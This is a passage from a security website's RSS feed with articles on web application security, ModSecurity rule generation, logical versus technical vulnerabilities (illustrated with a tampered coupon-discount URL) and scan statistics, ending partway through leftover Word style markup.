<li>The second problem is that from a network perspective it is very difficult to differentiate hackers from legitimate traffic, even with the help of a sophisticated firewall security appliance</li>
</ol>
<p style="text-align: justify;">The problem is further complicated by the fact that many malicious activities including the exploitation of vulnerabilities such as SQL Injection and DOM based Cross-Site Scripting vulnerabilities present themselves as regular traffic passing through <strong>port 80</strong> or <strong>443</strong>. Therefore the only way to resolve this problem is to place a greater emphasis on eliminating all web application vulnerabilities.</p>
<h2 style="text-align: justify;">Summary</h2>
<p style="text-align: justify;">Every organization will have an individualized approach to security. The ideal approach takes into account both networks and web applications. Historically, a greater emphasis has been placed on network security, and this is an approach that has worked well.</p>
<p style="text-align: justify;">However, as the trend towards depending more on increasingly complicated web applications and improved access to information continues, it has become critically important to manage all aspects of security — reducing overall risk to the greatest extent possible.</p>
<p style="text-align: justify;">Obviously, this involves monitoring and controlling network traffic but it also includes the adoption of secure coding practices, scanning web applications for all potential vulnerabilities and using manual penetration testers who are experienced enough to identify and test for logical vulnerabilities.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Sat, 20 Aug 2016 17:24:28 +1000</pubDate>
		</item>
		<item>
			<title>Scan and Generate Firewall Rules to Secure your Website and WebServer with ModSecurity. Block Exploits &amp; Vulnerability Attacks</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/scan-generate-and-apply-modsecurity-rules.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/scan-generate-and-apply-modsecurity-rules.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><strong>ModSecurity</strong> is a very popular <strong>open-source web application Firewall</strong> used to <strong>protect webservers</strong> and <strong>websites</strong> from <strong>vulnerability attacks</strong>, <strong>exploits</strong>, <strong>unauthorized access</strong> and much more. In this article, we’ll show you how <strong>web vulnerability scanners</strong>, can be used to <strong>automatically generate</strong> the necessary <strong>rules</strong> that <strong>block all vulnerabilities identified</strong> during the scan.</p>
<p style="text-align: center;" align="center">This great feature of automatically generating ModSecurity rules for identified vulnerabilities through a web vulerability scanner, giving all users the ability to now create and deploy ModSecurity rules immediately – saving valuable time and accelerating the whole scan-&amp;-patching process considerably. <img src="https://www.firewall.cx/images/stories/scan-generate-and-apply-modsecurity-rules-with-netsparker-1.png" alt="Generating ModSecurity Rules from a Web Application Vulnerability Scanner" style="display: block; margin-left: auto; margin-right: auto;" title="Generating ModSecurity Rules from a Web Application Vulnerability Scanner" />Figure 1. Generating ModSecurity Rules from a Web Application Vulnerability Scanner</p>
<p style="text-align: justify;">ModSecurity is used by many vendors and webservice providers as it is capable of delivering a number of security services including:</p>
<ul class="check" style="text-align: justify;">
<li><strong>Full HTTP traffic logging. </strong>ModSecurity gives you the ability to log anything you need, including raw transaction data, which is essential for forensics analysis and in-depth tracing.</li>
<li><strong>Web Application Hardening</strong>. Helps fix cross-site request forgery vulnerabilities and enforce security policies with other Apache modules.</li>
<li><strong>Real-time application security monitoring</strong>. ModSecurity provides full access to the HTTP traffic stream along with the ability to inspect and action against attacks.</li>
<li><strong>Becomes a powerful exploit prevention tool</strong> when paired with web server and web application vulnerability scanners such as Netsparker.</li>
</ul>
<p style="text-align: justify;">Most <strong>Web Application Vulnerability Scanner</strong> vendors provide full details on how to use their web application scanner to successfully generate ModSecurity rules that will help identify and block existing vulnerabilities in web applications and web servers.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Sun, 15 May 2016 17:45:04 +1000</pubDate>
		</item>
		<item>
			<title>Web Application Vulnerabilities – Benefits of Automated Tools &amp; Penetration Testers</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/web-vulnerability-scanning-using-automated-tools-and-penetration-testers.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/web-vulnerability-scanning-using-automated-tools-and-penetration-testers.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-vulnerability-scanning-using-automated-tools-and-penetration-testers-1.png" alt="Web Application Vulnerabilities – Benefits of Automated Tools &amp; Penetration Testers" style="margin: 7px; float: left;" title="Web Application Vulnerabilities – Benefits of Automated Tools &amp; Penetration Testers" />This article examines the <strong>differences between logical and technical web application vulnerabilities</strong> which tends to be a very confusing topic especially for <strong>web application developers</strong> and <strong>security</strong> – <strong>penetration experts</strong> because it would make sense that a vulnerability by any other name is simply confusing something that should be simple.</p>
<p style="text-align: justify;">However, there are significant differences between <strong>technical</strong> and <strong>logical</strong> <strong>vulnerabilities</strong> which are <strong>critically important</strong> — especially if you are <strong>developing or penetration testing a web application</strong>.</p>
<p style="text-align: justify;">Automated web application security scanners are indispensable when it comes to scanning for potential vulnerabilities. Web applications today have become complicated the point where trying to eliminate all vulnerabilities manually is nothing short of foolish. The task is too large to even attempt. And, even if you did, you are likely to miss far too many as a result of human error.</p>
<p style="text-align: justify;">Don’t let that lead you to believe that humans have no place in the process. While computers are indispensable in their ability to tirelessly scan for technical vulnerabilities, humans have the unique ability to not only think logically, but also analytically.</p>
<p style="text-align: justify;">As a result, we still play a critical role in the process of identifying vulnerabilities in websites and web applications and will likely do so for some time to come.</p>
<p style="text-align: justify;">But what is the difference between logical and technical vulnerabilities? And where should humans intervene in the detection process? To understand this, let’s take a closer look at the difference between the two.</p>
<h2 style="text-align: justify;">Technical Vulnerabilities</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-vulnerability-scanning-using-automated-tools-and-penetration-testers-2.png" alt="web-vulnerability-scanning-using-automated-tools-and-penetration-testers-2" style="margin: 7px; float: left;" title="Technical vulnerabilities in Web application Penetration Testing" /><strong>Technical vulnerabilities</strong> is an area where <strong>automated scanners</strong> excel — it is a rule-based process. It is also time intensive, because of the vast number of attack vectors and potential vulnerabilities. For a human to complete this process, while possible, would be extremely expensive and likely full of both false-positives and false-negatives.</p>
<p style="text-align: justify;">A common example of a technical vulnerability (for example SQL Injection) would be an application that requires information to be submitted by a user through a form. Any data submitted needs to be properly sanitized and failure to do so could make your application vulnerable to attack.</p>
<p style="text-align: justify;">Testing for this is a simple task. For example, a hacker could probe for a vulnerability by submitting an email address with a single quotation at the end of the text. The response they receive might indicate the presence of a vulnerability.</p>
<p style="text-align: justify;">Now, imagine your web application has 300 potential inputs. Without automation, the process would be time-consuming for both the hacker and the penetration tester. Luckily, the test and the potential result are predictable and repeatable. This makes testing for vulnerabilities like this relatively easy for an automated scanner. Speed and consistency are important in the testing process because it only takes one vulnerability to cause a problem.</p>
<h2 style="text-align: justify;">Logical Vulnerabilities</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-vulnerability-scanning-using-automated-tools-and-penetration-testers-3.png" alt="Logical Vulnerabilities - Web Application Penetration Testing" style="margin: 7px; float: left;" title="Logical Vulnerabilities - Web Application Penetration Testing" />Logical vulnerabilities are much harder to detect primarily because they require a human to think about and assess a potential problem. While it’s true that some logical vulnerabilities can be programmed, it’s often cost-prohibitive to do so.</p>
<p style="text-align: justify;">The ability to detect logical vulnerabilities can also be highly dependent upon experience. For example, consider a burglar trying to break into your house.</p>
<p style="text-align: justify;">If the burglar only operated from a technical perspective, they might try to open each door and window in your house and come to the conclusion that it’s either locked or unlocked. If it’s locked, they would move on and try the next one. If it’s unlocked they would realize that a vulnerability is present.</p>
<p style="text-align: justify;">On the other hand, if the burglar operated from a logical perspective and was experienced, they might look at your window and realize that it’s 25 years old. As a result of experience, they might realize that your locking mechanism could be worn out. By simply tilting the window in the right fashion, the lock might pop out of place and the window would open.</p>
<p style="text-align: justify;">This is the kind of logical vulnerability that requires a human to expose it. Now, let's imagine you’re running an eCommerce store. You offer a <strong>40%</strong> bulk discount for anyone who purchases 10 or more of a single item. Your web application creates a URL that looks like this when someone places a qualifying order:</p>
<p class="box-download" style="text-align: justify;"><strong>/checkout/cart/couponPost?product=712&amp;qty=10&amp;coupon_discount=40</strong></p>
<p style="text-align: justify;">Now, imagine if someone came along and decided that they wanted the same <strong>40% discount</strong> even if they only bought one item. They might try to use the following URL:</p>
<p class="box-download" style="text-align: justify;"><strong>/checkout/cart/couponPost?product=712&amp;qty=<span style="color: #ff0000;">1</span>&amp;coupon_discount=40</strong></p>
<p style="text-align: justify;">Would the above URL enable them to bypass your quantity requirement? What about this one:</p>
<p class="box-warning" style="text-align: justify;"><strong>/checkout/cart/couponPost?product=712&amp;qty=1&amp;coupon_discount=<span style="color: #ff0000;">90</span></strong></p>
<p style="text-align: justify;">Would this URL allow them to purchase a single item with a <strong>90% discount</strong>?</p>
<p style="text-align: justify;">These are just some basic examples of logical vulnerabilities that require input from a human. They also demonstrate the importance of using a security professional who is familiar with your industry and your application. That means hiring someone who has the right kind of experience and who can ask the right questions.</p>
<p style="text-align: justify;">The good news about logical vulnerabilities is that, as a general rule, they are more difficult to find. Not only does a hacker require more skill to find them, but they also can’t use automated tools as easily.</p>
<p style="text-align: justify;">The best real-world description of a logical vulnerability is when an attacker causes your web application to execute or to do something that was not intended to happen — as in the example above where someone was able to generate a discount that they should not have been entitled to.</p>
<h2 style="text-align: justify;">The Importance Of Assessing Technical &amp; Logical Vulnerabilities</h2>
<p style="text-align: justify;">In order to properly assess a web application for vulnerabilities, it is critical to consider both technical and logical. Automated tools are invaluable when it comes to efficiency and reliability. They are thorough, tireless and, when setup properly, very reliable.</p>
<p style="text-align: justify;">But that does not mean human input can be removed from the process. When it comes to assessing a situation from a logical and analytical perspective and considering potential outcomes, the human mind wins the battle every time.</p>
<p style="text-align: justify;">Hopefully, this post makes clear the importance of using both <strong>automated tools</strong> and <strong>live penetration testers</strong>. Neither is 100% reliable but, when used in conjunction with one another, they provide a solution that is both <strong>cost-effective and reliable</strong>. Read more about <strong>web application vulnerabilities</strong> and <strong>testing methods</strong> by visiting our Web Application security scanner section.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 19 Apr 2016 00:12:00 +1000</pubDate>
		</item>
		<item>
			<title>Top 3 Most Popular Web Application Vulnerabilities - Security Scans of 396 Open Source Web Applications</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/most-popular-web-application-vulnerabilities.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/most-popular-web-application-vulnerabilities.html</guid>
			<description><![CDATA[<p style="text-align: justify;">Since 2011 <strong>Web Application Vulnerability scanners </strong>scanned <strong>396 open source web applications</strong>. The <strong>scanners</strong> identified <strong>269 vulnerabilities</strong> and a popular web vulnerability scanner published <strong>114 advisories</strong> about the <strong>0-day</strong> ones. <strong>32</strong> of the advisories include details about <strong>multiple vulnerabilities</strong>. According to the statistics above, around <strong>30% of the open source web applications</strong> we scanned had some sort of direct<strong> impact vulnerability</strong>.</p>
<p><img src="https://www.firewall.cx/images/stories/most-popular-web-application-vulnerabilities-1.jpg" alt="most-popular-web-application-vulnerabilities-1" style="margin: 7px auto; display: block;" title="Security Scans of 396 Open Source Web Applications" /></p>
<p style="text-align: justify;">Out of the 269 vulnerabilities a specific scanner detected the <strong>web vulnerability scanners</strong> identified:</p>
<ul class="check">
<li style="text-align: justify;"><strong>180</strong> were Cross-site Scripting vulnerabilities. These include reflected, stored, <strong>DOM Based XSS</strong> and <strong>XSS</strong> via <strong>RFI</strong>.</li>
<li style="text-align: justify;"><strong>55</strong> were <strong>SQL Injection vulnerabilities</strong>. These also include the Boolean and Blind (Time Based) SQL Injections.</li>
<li style="text-align: justify;"><strong>16</strong> were <strong>File Inclusion vulnerabilities</strong>, including both remote and local file inclusions.</li>
</ul>
<p style="text-align: justify;">The rest of the vulnerability types are <strong>CSRF</strong>, <strong>Remote Command Execution</strong>, <strong>Command Injection</strong>, <strong>Open Redirection</strong>, <strong>HTTP Header Injection</strong> (web server software issue) and <strong>Frame injection</strong>.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Wed, 02 Mar 2016 21:32:47 +1100</pubDate>
		</item>
		<item>
			<title>Automate Web Application Security - Why, How &amp; The Necessary Tools</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/automate-web-security-how-why-security-tools.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/automate-web-security-how-why-security-tools.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><!-- [if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:RelyOnVML/>
  <o:AllowPNG/>
 </o:OfficeDocumentSettings>
</xml><![endif]--></p>
<p style="text-align: justify;"><!-- [if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:TrackMoves/>
  <w:TrackFormatting/>
  <w:PunctuationKerning/>
  <w:ValidateAgainstSchemas/>
  <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
  <w:IgnoreMixedContent>false</w:IgnoreMixedContent>
  <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
  <w:DoNotPromoteQF/>
  <w:LidThemeOther>EN-AU</w:LidThemeOther>
  <w:LidThemeAsian>X-NONE</w:LidThemeAsian>
  <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:DontGrowAutofit/>
   <w:SplitPgBreakAndParaMark/>
   <w:EnableOpenTypeKerning/>
   <w:DontFlipMirrorIndents/>
   <w:OverrideTableStyleHps/>
  </w:Compatibility>
  <w:DoNotOptimizeForBrowser/>
  <m:mathPr>
   <m:mathFont m:val="Cambria Math"/>
   <m:brkBin m:val="before"/>
   <m:brkBinSub m:val="&#45;-"/>
   <m:smallFrac m:val="off"/>
   <m:dispDef/>
   <m:lMargin m:val="0"/>
   <m:rMargin m:val="0"/>
   <m:defJc m:val="centerGroup"/>
   <m:wrapIndent m:val="1440"/>
   <m:intLim m:val="subSup"/>
   <m:naryLim m:val="undOvr"/>
  </m:mathPr></w:WordDocument>
</xml><![endif]--><!-- [if gte mso 9]><xml>
 <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
  DefSemiHidden="false" DefQFormat="false" DefPriority="99"
  LatentStyleCount="371">
  <w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
  <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 1"/>
  <w:LsdException Locked="false" Priority="0" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 9"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 1"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 2"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 3"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 4"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 5"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 6"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 7"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 8"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 9"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footnote text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="header"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footer"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index heading"/>
  <w:LsdException Locked="false" Priority="35" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="caption"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="table of figures"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="envelope address"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="envelope return"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footnote reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="line number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="page number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="endnote reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="endnote text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="table of authorities"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="macro"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="toa heading"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 5"/>
  <w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Closing"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Signature"/>
  <w:LsdException Locked="false" Priority="1" SemiHidden="true"
   UnhideWhenUsed="true" Name="Default Paragraph Font"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Message Header"/>
  <w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Salutation"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Date"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text First Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text First Indent 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Note Heading"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Block Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Hyperlink"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="FollowedHyperlink"/>
  <w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
  <w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Document Map"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Plain Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="E-mail Signature"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Top of Form"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Bottom of Form"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal (Web)"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Acronym"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Address"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Cite"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Code"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Definition"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Keyboard"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Preformatted"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Sample"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Typewriter"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Variable"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal Table"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation subject"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="No List"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Contemporary"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Elegant"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Professional"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Subtle 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Subtle 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 3"/>
